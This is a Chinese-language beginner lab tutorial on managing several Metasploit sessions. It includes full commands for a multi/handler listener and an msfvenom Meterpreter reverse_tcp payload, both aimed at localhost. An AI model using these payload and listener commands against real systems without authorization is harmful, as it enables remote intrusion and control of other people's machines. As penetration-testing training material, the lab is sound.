在 Metasploit 中管理多个会话

Kali LinuxBeginner
立即练习

引言

在渗透测试中,同时访问多个系统是很常见的。Metasploit Framework 提供了一种强大的方式来管理这些连接,这些连接被称为“会话”(sessions)。会话是到已攻陷目标(compromised target)的活动链接,它可以是一个命令行 shell,也可以是高级的 Meterpreter 会话。

有效地管理这些会话是一项关键技能。它能让你组织工作流程,无缝切换目标,并保持对已攻陷资产的控制。在本实验(lab)中,你将学习 Metasploit 中管理多个会话的基础命令。你将练习获取会话、列出它们、与特定会话交互、重命名它们以便更好地组织,最后,干净地终止它们。

获取多个 Meterpreter 或 shell 会话

在此步骤中,你将在 Metasploit 中设置一个监听器,然后执行一个 payload 来创建两个独立的 Meterpreter 会话。这模拟了访问两个不同系统的过程。

首先,打开一个终端并启动 Metasploit Framework 控制台。-q 标志使其静默启动,不显示横幅。

msfconsole -q

接下来,我们将配置一个通用的监听器,称为 multi/handler,以等待传入连接。

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

现在,使用 -j 标志将监听器作为后台作业运行。这使得 msfconsole 提示符保持可用,以便执行其他命令,同时监听器在后台运行。

run -j

你应该会看到一个确认信息,表明监听器已启动。

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

现在,你需要生成并执行连接回此监听器的 payload。通过点击终端窗口中的 + 图标,打开一个新的、第二个终端标签页

在这个新终端中,使用 msfvenom 来创建 payload。此命令会生成一个 ELF 可执行文件,该文件运行时将连接回我们的监听器。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf

使生成的 payload 文件可执行:

chmod +x ~/project/payload.elf

现在,执行 payload 两次以创建两个会话。我们将它们作为后台进程 (&) 运行,这样你就可以立即再次运行命令。

./payload.elf &
./payload.elf &

切换回你的第一个终端窗口,其中运行着 msfconsole。你将看到指示已打开两个 Meterpreter 会话的消息。

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38998) at 2023-10-27 10:30:00 -0400
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:39000) at 2023-10-27 10:30:05 -0400

你现在已成功建立了两个活动会话。

使用 sessions 命令列出所有活动会话

在此步骤中,你将学习如何查看你已建立的所有活动会话。当有多个会话打开时,你需要一种方法来列出它们,以便了解你连接到了哪些目标。

sessions 命令用于此目的。在你的 msfconsole 终端中,只需输入 sessions 即可获得所有活动会话的列表。-l 标志是 list 的别名,功能相同。

sessions

输出将是一个表格,包含每个会话的信息:

Active sessions
===============

  Id  Name  Type                   Information              Connection
  --  ----  ----                   -----------              ----------
  1         meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:38998 (...)
  2         meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

此表格提供了清晰的概览:

  • Id: 每个会话的唯一编号,用于与之交互。
  • Name: 会话的自定义名称(当前为空)。
  • Type: 会话的类型(例如,meterpretershell)。
  • Information: 关于被攻陷系统(compromised system)的详细信息,例如用户 ID。
  • Connection: 源和目标 IP 地址及端口。

使用 sessions -i 与特定会话进行交互

在此步骤中,你将学习如何从列表中选择并与特定会话进行交互。

一旦你确定了想要操作的会话,就可以使用 sessions 命令,加上 -i (interact) 标志,然后是会话 ID。

让我们与第一个会话(ID 1)进行交互。

sessions -i 1

你的命令提示符将从 msf6 > 变为 meterpreter >,这表明你现在已进入 Meterpreter 会话,可以运行 Meterpreter 特定的命令。

[*] Starting interaction with 1...

meterpreter >

为了确认你已进入会话,可以运行一个简单的命令,如 sysinfo,以获取目标系统的系统信息。

sysinfo

你将看到类似以下的输出:

Computer     : labex-virtual-machine
OS           : Ubuntu 22.04 (Linux 5.15.0-78-generic)
Architecture : x64
System Language: en_US
Meterpreter  : x64/linux

在完成一个会话内的操作后,你可以返回到主 msfconsole 提示符,而无需终止该会话。要做到这一点,请使用 background 命令。

background

这将把该会话放到后台,并将你带回到 msf6 > 提示符,使你能够管理其他会话。

[*] Backgrounding session 1...
msf6 exploit(multi/handler) >

使用 sessions -n 为会话重命名以实现更好的组织

在此步骤中,你将学习如何重命名会话。在管理许多会话时,默认名称不够具有描述性。使用有意义的标签(例如,“WebServer”、“DBServer”)重命名会话,可以使它们更容易识别。

你可以使用 sessions 命令配合 -n (name) 标志来重命名会话。语法是 sessions -n <NewName> <ID>

让我们将会话 2 重命名为一个更具描述性的名称,例如 TestHost

sessions -n TestHost 2

Metasploit 将确认会话已重命名。

[*] Session 2's name has been changed to TestHost.

现在,再次列出会话以查看更改。

sessions

输出表格现在将在会话 2 的“Name”列中显示新名称。

Active sessions
===============

  Id  Name      Type                   Information              Connection
  --  ----      ----                   -----------              ----------
  1             meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:38998 (...)
  2   TestHost  meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

这使得跟踪你的目标更加容易。

使用 sessions -k 终止会话

在此步骤中,你将学习如何终止会话。一旦你完成了在目标系统上的工作,或者不再需要某个会话,最好将其关闭。

要终止(或杀死)一个会话,请使用 sessions 命令配合 -k (kill) 标志,然后是会话 ID。

让我们终止会话 1

sessions -k 1

Metasploit 将确认它正在停止该会话。

[*] Stopping session 1...
[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: User exit

为了验证会话是否已被终止,请再列出一次活动会话。

sessions

输出现在将只显示剩余的会话 TestHost

Active sessions
===============

  Id  Name      Type                   Information              Connection
  --  ----      ----                   -----------              ----------
  2   TestHost  meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

你已成功清理了不必要的会话。

总结

恭喜你完成了本次实验!你已经掌握了在 Metasploit Framework 中管理多个会话的基本技能。

在本次实验中,你练习了:

  • 使用 multi/handler 和 payload 创建多个 Meterpreter 会话。
  • 使用 sessions 命令列出所有活动会话。
  • 使用 sessions -i <ID> 与特定会话进行交互。
  • 使用 sessions -n <Name> <ID> 为会话重命名以实现更好的组织。
  • 使用 sessions -k <ID> 清理终止会话。

掌握这些命令对于任何渗透测试人员来说都是基础,因为它们能够实现对多个被攻陷系统的有效和有组织的控制。